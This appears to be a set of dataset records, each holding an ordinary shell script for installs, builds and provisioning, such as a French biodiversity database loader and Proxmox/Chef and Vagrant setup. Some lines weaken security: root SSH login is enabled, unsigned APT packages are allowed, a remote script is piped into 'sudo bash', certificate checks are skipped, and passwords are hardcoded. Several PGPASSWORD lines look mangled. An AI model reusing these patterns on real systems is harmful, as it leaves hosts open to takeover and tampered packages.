&>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f /tmp/data_synthese.sql &>> log/install_db.log\n\n echo \"Création des schémas des modules...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Création des schémas des modules\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \" ...schéma contact faune...\"\n echo \"--------------------\" &>> log/install_db.log\n echo \"Schéma contact faune\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_pg_pass;psql -h $db_host -U $user_pg -d $db_name -f /tmp/contactfaune.sql &>> log/install_db.log\n\n echo \" ...schéma contact flore...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Schéma contact flore\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_pg_pass;psql -h $db_host -U $user_pg -d $db_name -f /tmp/contactflore.sql &>> log/install_db.log\n\n echo \" ...schéma contact invertébré...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Schéma contact invertébré\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_pg_pass;psql -h $db_host -U $user_pg -d $db_name -f /tmp/contactinv.sql &>> log/install_db.log\n\n echo \" ...schéma flore station....\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Schéma flore station\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_pg_pass;psql -h $db_host -U $user_pg -d $db_name -f /tmp/florestation.sql &>> log/install_db.log\n\n echo \" ...schéma flore patri...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Schéma flore patri...\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_pg_pass;psql -h $db_host -U $user_pg -d $db_name -f /tmp/florepatri.sql &>> log/install_db.log\n\n echo \" ...schéma bryophytes...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Schéma bryophytes.\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_pg_pass;psql -h $db_host -U $user_pg -d $db_name -f /tmp/bryophytes.sql &>> log/install_db.log\n\n #TODO : revoir la requête de ce script à partir de la synthese\n echo \"Création des éléments nécessaire au fonctionnement des mobiles...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Création des éléments nécessaire au fonctionnement des mobiles.\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_pg_pass;psql -h $db_host -U $user_pg -d $db_name -f data/modules/nomade.sql &>> log/install_db.log\n\n echo \"Décompression des fichiers des communes de France métropolitaine...\"\n cd data/layers\n tar -xzvf communes_metropole.tar.gz\n cd ../..\n\n if $install_sig_layers\n then\n echo \"Insertion du référentiel géographique : communes métropolitaines... (cette opération peut être longue)\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Insertion du référentiel géographique : communes métropolitaines\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n export PGPASSWORD=$user_pg_pass;psql -h $db_host -U $user_pg -d $db_name -f data/layers/communes_metropole.sql &>> log/install_db.log\n\n echo \"Décompression des fichiers du référentiel géographique...\"\n cd data/layers\n unzip apb.zip\n unzip bios.zip\n unzip cdl.zip\n unzip cen.zip\n unzip pn.zip\n unzip pnr.zip\n unzip pnm.zip\n unzip ramsar.zip\n unzip rb.zip\n unzip ripn.zip\n unzip rnc.zip\n unzip rncfs.zip\n unzip rnn.zip\n unzip rnr.zip\n unzip sic.zip\n unzip zps.zip\n unzip zico.zip\n unzip znieff1.zip\n unzip znieff2.zip\n unzip znieff1_mer.zip\n unzip znieff2_mer.zip\n mkdir sql\n cd ../..\n\n echo \"Insertion du référentiel géographique : zones à statut de france métropolitaine...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Insertion du référentiel géographique : zones à statut de france métropolitaine\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"...Aires de protection de biotope...\"\n echo \"--------------------\" &>> log/install_db.log\n echo \"Aires de protection de biotope\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/apb/apb.shp layers.l_zonesstatut > data/layers/sql/apb.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/apb.sql &>> log/install_db.log\n echo \"...Réserves de biosphère\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Réserves de biosphère\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/bios/bios09_2013.shp layers.l_zonesstatut > data/layers/sql/bios.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/bios.sql &>> log/install_db.log\n echo \"...Sites du Conservatoire du Littoral...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Sites du Conservatoire du Littoral\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/cdl/cdl2013.shp layers.l_zonesstatut > data/layers/sql/cdl.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/cdl.sql &>> log/install_db.log\n echo \"Sites acquis des Conservatoires d'espaces naturels...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Sites acquis des Conservatoires d'espaces naturels\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/cen/cen2013_09.shp layers.l_zonesstatut > data/layers/sql/cen.sql\n export PGP=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/cen.sql &>> log/install_db.log\n echo \"...Parcs nationaux...\"echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Parcs nationaux\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/pn/pn.shp layers.l_zonesstatut > data/layers/sql/pn.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/pn.sql &>> log/install_db.log\n echo \"...Parcs naturels marins...\"echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Parcs naturels marins\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/pnm/pnm2014_07.shp layers.l_zonesstatut > data/layers/sql/pnm.sql\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/pnm.sql &>> log/install_db.log\n echo \"...Parcs naturels régionaux...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Parcs naturels régionaux\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"UTF8\" data/layers/pnr/pnr2014_10.shp layers.l_zonesstatut > data/layers/sql/pnr.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/pnr.sql &>> log/install_db.log\n echo \"...Sites Ramsar...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Sites Ramsar\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/ramsar/ramsar2013.shp layers.l_zonesstatut > data/layers/sql/ramsar.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/ramsar.sql &>> log/install_db.log\n echo \"...Réserves biologiques...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Réserves biologiques\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/rb/rb.shp layers.l_zonesstatut > data/layers/sql/rb.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/rb.sql &>> log/install_db.log\n echo \"...Réserves intégrales de parc national...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Réserves intégrales de parc national\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/ripn/ripn.shp layers.l_zonesstatut > data/layers/sql/ripn.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/ripn.sql &>> log/install_db.log\n echo \"...Réserves naturelles de Corse...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Réserves naturelles de Corse\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/rnc/rnc2010.shp layers.l_zonesstatut > data/layers/sql/rnc.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/rnc.sql &>> log/install_db.log\n echo \"...Réserves naturelles de chasse et de faune sauvage...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Réserves naturelles de chasse et de faune sauvage\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/rncfs/rncfs_2010.shp layers.l_zonesstatut > data/layers/sql/rncfs.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/rncfs.sql &>> log/install_db.log\n echo \"...Réserves naturelles nationales...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Réserves naturelles nationales\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"UTF8\" data/layers/rnn/rnn.shp layers.l_zonesstatut > data/layers/sql/rnn.sql\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/rnn.sql &>> log/install_db.log\n echo \"...Réserves naturelles régionales...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Réserves naturelles régionales\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/rnr/rnr.shp layers.l_zonesstatut > data/layers/sql/rnr.sql\n export PGPASSWORD=$user_;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/rnr.sql &>> log/install_db.log\n echo \"...Natura 2000 Sites d'importance communautaire...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Natura 2000 Sites d'importance communautaire\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/sic/sic1409.shp layers.l_zonesstatut > data/layers/sql/sic.sql\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/sic.sql &>> log/install_db.log\n echo \"...Natura 2000 Zones de protection spéciales...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Natura 2000 Zones de protection spéciales\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/zps/zps1409.shp layers.l_zonesstatut > data/layers/sql/zps.sql\n echo \"...Zone d'importance pour la conservation des oiseaux...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Zone d'importance pour la conservation des oiseaux\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/zico/zico.shp layers.l_zonesstatut > data/layers/sql/zico.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/zico.sql &>> log/install_db.log\n echo \"...ZNIEFF 1 continentales...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"ZNIEFF 1 continentales\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/znieff1/znieff1.shp layers.l_zonesstatut > data/layers/sql/znieff1.sql\n export PGPASSWORD=;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/znieff1.sql &>> log/install_db.log\n echo \"...ZNIEFF 2 continentales...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"ZNIEFF 2 continentales\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/znieff2/znieff2.shp layers.l_zonesstatut > data/layers/sql/znieff2.sql\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/znieff2.sql &>> log/install_db.log\n echo \"...ZNIEFF 1 mer...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"ZNIEFF 1 mer\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/znieff1_mer/znieff1_mer.shp layers.l_zonesstatut > data/layers/sql/znieff1_mer.sql\n export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/znieff1_mer.sql &>> log/install_db.log\n echo \"...ZNIEFF 2 mer...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"ZNIEFF 2 mer\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s shp2pgsql -t 2D -s $srid_local -a -g the_geom -W \"LATIN1\" data/layers/znieff2_mer/znieff2_mer.shp layers.l_zonesstatut > data/layers/sql/znieff2_mer.sql\n export PGPASSWORD=$user_;psql -h $db_host -U $user_pg -d $db_name -f data/layers/sql/znieff2_mer.sql &>> log/install_db.log\n #export PGPASSWORD=$;psql -h $db_host -U $user_pg -d $db_name -f data/layers/zonesstatut.sql &>> log/install_db.log\n fi\n\n if $add_sample_data\n then\n echo \"Insertion d'un jeu de données test dans les schémas contactfaune et contactinv de la base...\"\n echo \"\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"Insertion d'un jeu de données test dans les schémas contactfaune et contactinv de la base\" &>> log/install_db.log\n echo \"--------------------\" &>> log/install_db.log\n echo \"\" &>> log/install_db.log\n sudo -n -u postgres -s psql -d $db_name -f data/core/data_set_synthese.sql &>> log/install_db.log\n fi\n\n # suppression des fichiers : on ne conserve que les fichiers compressés\n echo \"nettoyage...\"\n rm /tmp/*.txt\n rm /tmp/*.csv\n rm data/utilisateurs/usershub.sql\n rm data/taxonomie/taxhubdb.sql\n rm data/taxonomie/vm_hierarchie_taxo.sql\n rm data/taxonomie/taxhubdata.sql\n rm data/taxonomie/taxhubdata_taxon_example.sql\n rm data/taxonomie/inpn/*.zip\n rm data/taxonomie/inpn/data_inpn_v9_taxhub.sql\n # rm data/layers/zonesstatut.sql\n if $install_sig_layers\n then\n rm data/layers/communes_metropole.sql\n rm -R data/layers/apb\n rm -R data/layers/bios\n rm -R data/layers/cdl\n rm -R data/layers/cen\n rm -R data/layers/pn\n rm -R data/layers/pnr\n rm -R data/layers/pnm\n rm -R data/layers/ramsar\n rm -R data/layers/rb\n rm -R data/layers/ripn\n rm -R data/layers/rnc\n rm -R data/layers/rncfs\n rm -R data/layers/rnn\n rm -R data/layers/rnr\n rm -R data/layers/sic\n rm -R data/layers/zps\n rm -R data/layers/zico\n rm -R data/layers/znieff1\n rm -R data/layers/znieff2\n rm -R data/layers/znieff1_mer\n rm -R data/layers/znieff2_mer\n rm -R data/layers/sql\n fi\nfi"} {"text": "ivanceras/ultron\n#!/bin/bash\n\nset -v\n\n\n. ./build.sh &&\\\n\nbasic-http-server -a 0.0.0.0:4004 ./packages/ultron-web"} {"text": "updater/scripts/api-requests-by-user.sh\n#!/bin/bash\n\n#\n# Count number of API calls per user\n#\n\necho -e \"user\\trequests\"\n\nzcat -f /var/log/github/unicorn.log.1* |\n grep -F 'request_category=api' |\n grep -Fv 'remote_address=127.0.0.1' |\n grep -oP 'current_user=\\K\\S+' |\n grep -Fvx 'nil' |\n sort |\n uniq -ic |\n sort -rn |\n head -20 |\n awk '{ printf(\"%s\\t%s\\n\", $2, $1) }'"} {"text": "1-10\nVERSION=${VERSION-GIT_20161017}\n\nset -e +h\n\nwget --no-check-certificate --content-disposition \"http://archive.hive.pt/files/lfs/net-tools-$VERSION.tar.gz\"\nrm -rf net-tools-$VERSION && tar -zxf \"net-tools-$VERSION.tar.gz\"\nrm -f \"net-tools-$VERSION.tar.gz\"\ncd net-tools-$VERSION\n\nsed -i '/#include /c\\#include ' iptunnel.c\n\nif [ \"$SCUDUM_CROSS\" == \"1\" ]; then\n yes \"\" | ./configure.sh config.in > /dev/null\n make CC=\"$CC\" LD=\"$LD\" && make install\nelse\n yes \"\" | make config > /dev/null\n make && make install\nfi\n\nmv -v /bin/ifconfig /sbin"} {"text": "#!/usr/bin/env bash\n\nexport COMPSS_PYTHON_VERSION=3-ML\nmodule load COMPSs/2.10.pr\nmodule load singularity/3.5.2\nmodule use /apps/modules/modulefiles/tools/COMPSs/libraries\nmodule load permedcoe # generic permedcoe package\n\n# Override the following for using different images, assets or dataset\nexport COVID19_BB_IMAGES=${COVID19_BB_IMAGES} # Currently using the \"permedcoe\" deployed\nexport COVID19_BB_ASSETS=${COVID19_BB_ASSETS} # Currently using the \"permedcoe\" deployed\ndataset=${COVID19_PILOT_DATASET} # Currently using the \"permedcoe\" deployed\n\nenqueue_compss \\\n --num_nodes=2 \\\n --exec_time=45 \\\n --worker_working_dir=$(pwd) \\\n --log_level=off \\\n --graph \\\n --tracing \\\n --python_interpreter=python3 \\\n covid19_pilot.py \\\n ${dataset}metadata_clean.tsv \\\n ${dataset}epithelial_cell_2 \\\n $(pwd)/results/ \\\n $(pwd)/ko_file.txt \\\n 2 \\\n epithelial_cell_2 \\\n ${dataset}\n\n######################################################\n# APPLICATION EXECUTION EXAMPLE\n# Call:\n# ./launch.sh\n#\n# Example:\n# ./launch.sh\n######################################################"} {"text": "#!/bin/bash\n\nrabbitmqctl add_user meshblu judgementday\nrabbitmqctl set_permissions meshblu \".*\" \".*\" \".*\"\nrabbitmqctl add_user some-uuid some-token\nrabbitmqctl set_permissions some-uuid \"^some-uuid.*\" \".*\" \".*\""} {"text": "TwinProduction/dotfilesscripts/install-power-management.sh\n#!/bin/bash\nset -e\n\nsudo pacman -Syu --needed tlp"} {"text": "#!/usr/bin/env bash\n\nset -ue\n\ncabal=\"cabal --config-file=$HOME/.cabal/config_nohaddock\"\nghcprefix='ghc'\ncompiler_versions=\"8.2 8.4 8.6 8.8 8.10 9.0\"\nnext_compiler_version=\"9.2.0.20210821\"\n\nfor v in $compiler_versions $next_compiler_version; do\n ghc=${ghcprefix}-${v}\n ghcver=$($ghc --numeric-version)\n echo Testing for ghc-$ghcver\n \n build_opt=\"-v0 -j4\"\n if [ \"v$v\" == v$next_compiler_version ]; then\n build_opt=\"$build_opt --project-file=cabal.project.ghc-9.2.0-rc1 --allow-newer\"\n fi\n test_opt=\"--test-show-details=failures\"\n \n $cabal v2-build -w $ghc \\\n --write-ghc-environment-files=always \\\n --enable-tests $build_opt \\\n matchable matchable-th matchable-examples\n $cabal v2-test -w $ghc $build_opt $test_opt \\\n matchable:matchable-test\\\n matchable-th:matchable-th-test\n \n ## temporarily disabled\n #$cabal v2-test -w $ghc -v0 -j4 $build_opt $test_opt matchable:doctest\ndone"} {"text": "#!bin/bash\n\n# get environment variables\nsource schedule/setup/env-var.sh\n# stand up container\ndocker pull docker.pkg.github.com/epiforecasts/covid/covid:latest\ndocker tag docker.pkg.github.com/epiforecasts/covid/covid:latest covid-website\ndocker run -d -p 12001:8787 --name covid-website --mount ${MOUNT_NETRC} --mount ${MOUNT_GITCONFIG} -e USER=covid-website -e PASSWORD=covid-website covid-website\n# clone in site\ndocker exec covid-website git clone https://github.com/epiforecasts/covid.git"} {"text": "evernote.sh\ngeeknote find --tags \"blog\" > notes.txt\n\nFILE=notes.txt\n\nwhile read R; do\n NOTE=\"$(echo \"$R\" | egrep \"[[:xdigit:]]{2,2} (\\w)*, [[:xdigit:]]{4}\" | cut -d':' -f 4-)\"\n if [ ! -z \"$NOTE\" -a \"$NOTE\" != \" \" ]; then\n\t\techo \"Current Line: \" \"$R\"\t \t\n \t\tNAME=\"$(echo \"$NOTE\" | tr -d ' ')\"\n echo \"Generating... \" \"$NOTE\" \" to \" \"$NAME\"\".md\"\n geeknote \"jekyll\" \"$NOTE\"\n fi\ndone < \"$FILE\""} {"text": "IINemo/isanlp_srl_framebank10-100\n#!/usr/bin/env bash\n\necho \"Cleaning up previous containers\"\ndocker rm -f morphology syntaxnet srl demo || true\n\necho \"Starting Morphology Server\" &&\ndocker run -d --name morphology -p 3333:3333 inemo/isanlp &&\necho \"Morphology started\" &&\necho \"Starting Syntaxnet\" &&\ndocker run --shm-size=1024m -d --name syntaxnet -p 3344:9999 inemo/syntaxnet_eng server 0.0.0.0 9999 &&\necho \"Syntaxnet started\" &&\necho \"Starting SRL\" &&\ndocker run -d -p 3355:3333 --name srl tchewik/isanlp_srl_framebank &&\necho \"SRL Started\" &&\necho \"Starting web-ui\" &&\ndocker run -d -p 3366:80 --name demo -e HOSTNAME=localhost -e IP_ADDRESS=localhost -e MORPH_PORT=3333 -e SYNTAX_PORT=3344 -e SEM_PORT=3355 inemo/isanlp_srl_framebank_demo"} {"text": "luomoxu/proxmox-toolsinstall-proxhostname.sh10-100\n#! /bin/bash\n\n#### prepare install for KVM ##### \nDEBIAN_FRONTEND=noninteractive apt-get install -y -q python3-pip vim mc software-properties-common qemu-guest-agent\nwget -P /tmp https://packages.chef.io/stable/ubuntu/12.04/chef_12.14.77-1_amd64.deb\ndpkg -i /tmp/chef_12.14.77-1_amd64.deb\nsed -e 's/^PermitRootLogin prohibit-password/PermitRootLogin yes/' -i /etc/ssh/sshd_config\necho 'APT::Get::AllowUnauthenticated \"true\";' > ${BASEDIR}/etc/apt/apt.conf.d/99aptnokey\nmkdir -p /etc/chef\nmkdir -p /var/log/chef\necho 'chef_server_url \"https://chef.fhcrc.org/organizations/cit\"' > /etc/chef/client.rb\necho 'validation_client_name \"cit-validator\"' >> ${BASEDIR}/etc/chef/client.rb\necho 'log_location \"/var/log/chef/client.log\"' >> ${BASEDIR}/etc/chef/client.rb\n### end prepare \n\nmkdir -p /root/bin/\ncp proxhostname.py /root/bin/\ncp pyproxmox.py /root/bin\n\nubuntuver=$( lsb_release -r | awk '{ print $2 }' | sed 's/[.]//' )\n\nif [[ $ubuntuver -ge 1504 ]]; then\n cp proxhostname.service /etc/systemd/system/\n systemctl enable proxhostname.service\nelse\n cp proxhostname.conf /etc/init/\nfi\n\n### copy chef cert\nmkdir -p /root/.chef \nscp root@proxa1:/root/.chef/cit-validator.pem /root/.chef/\n\n### copy proxmoxer creds file\nscp root@proxa1:/root/bin/creds /root/bin/"} {"text": "chris-han-nih/lambda-layer-nodejs\n#!/bin/bash\n\nPROD_NAME=$1\nDESCRIPTION=$2\n\necho $'\\360\\237\\232\\252' + 'Move to package directory'\ncd $PROD_NAME\n\nif [ -f \"package.json\" ]; then\n /bin/rm -rf node_modules\n echo $'\\342\\232\\231' + 'Install node package'\n npm install --production\nfi\n\necho $'\\360\\237\\223\\213' + 'Packaging lambda layer package'\n/bin/mkdir -p nsus && /bin/cp *.js nsus/\nif [ ! -d \"/node_modules/\" ]; then\n /bin/mkdir node_modules/\nfi\n /bin/mv nsus node_modules/\n/bin/mkdir nodejs && /bin/mv node_modules nodejs/\n\n/usr/bin/zip nodejs.zip -r nodejs\n\necho $'\\342\\217\\261' + 'Publish package to lambda layer'\naws lambda publish-layer-version --layer-name $PROD_NAME --description \"$DESCRIPTION\" --zip-file fileb://nodejs.zip --compatible-runtimes nodejs16.x\n\necho $'\\360\\237\\227\\221' + 'Clean up directory and file'\n/bin/rm -rf nodejs\n/bin/rm nodejs.zip"} {"text": "ch7/9-1-lbs.sh\n#!/bin/bash\n\necho 8.3 > /etc/lfs-release\n\necho 'DISTRIB_ID=\"Linux From Scratch\"\nDISTRIB_RELEASE=\"8.3\"\nDISTRIB_CODENAME=\"\"\nDISTRIB_DESCRIPTION=\"Linux From Scratch\"' > /etc/lsb-release"} {"text": "#!/bin/bash\n\n# add all the apt keys so that we can do the installs we need\n# mongo keys\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10\necho \"deb http://repo.mongodb.org/apt/ubuntu \"$(lsb_release -sc)\"/mongodb-org/3.0 multiverse\" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list\n\n# sudo apt-get -y install software-properties-common\n# passenger keys\nsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 561F9B9CAC40B2F7\nsudo apt-get -y install apt-transport-https ca-certificates\necho 'deb https://oss-binaries.phusionpassenger.com/apt/passenger trusty main' | sudo tee /etc/apt/sources.list.d/passenger.list\nsudo chown root: /etc/apt/sources.list.d/passenger.list\nsudo chmod 600 /etc/apt/sources.list.d/passenger.list\n\n# update\nsudo apt-get update\n\n# install git \nsudo apt-get -y install git\n\n#install nodejs and bower\ncurl -sL https://deb.nodesource.com/setup_0.12 | sudo bash -\nsudo apt-get install -y nodejs\nmkdir ~/.npm-global\nnpm config set prefix '~/.npm-global'\necho 'export PATH=~/.npm-global/bin:$PATH' | sudo tee -a ~/.profile\nsource ~/.profile\ncd /home/vagrant/umdio/docs\nnpm install bower\ncd ..\n\n# install some ruby dependencies\nsudo apt-get -y install autoconf bison build-essential libssl-dev libyaml-dev libreadline6-dev zlib1g-dev libncurses5-dev libffi-dev libgdbm3 libgdbm-dev\n\n# install ruby and rbenv\ngit clone https://github.com/sstephenson/rbenv.git ~/.rbenv\ngit clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build\nexport 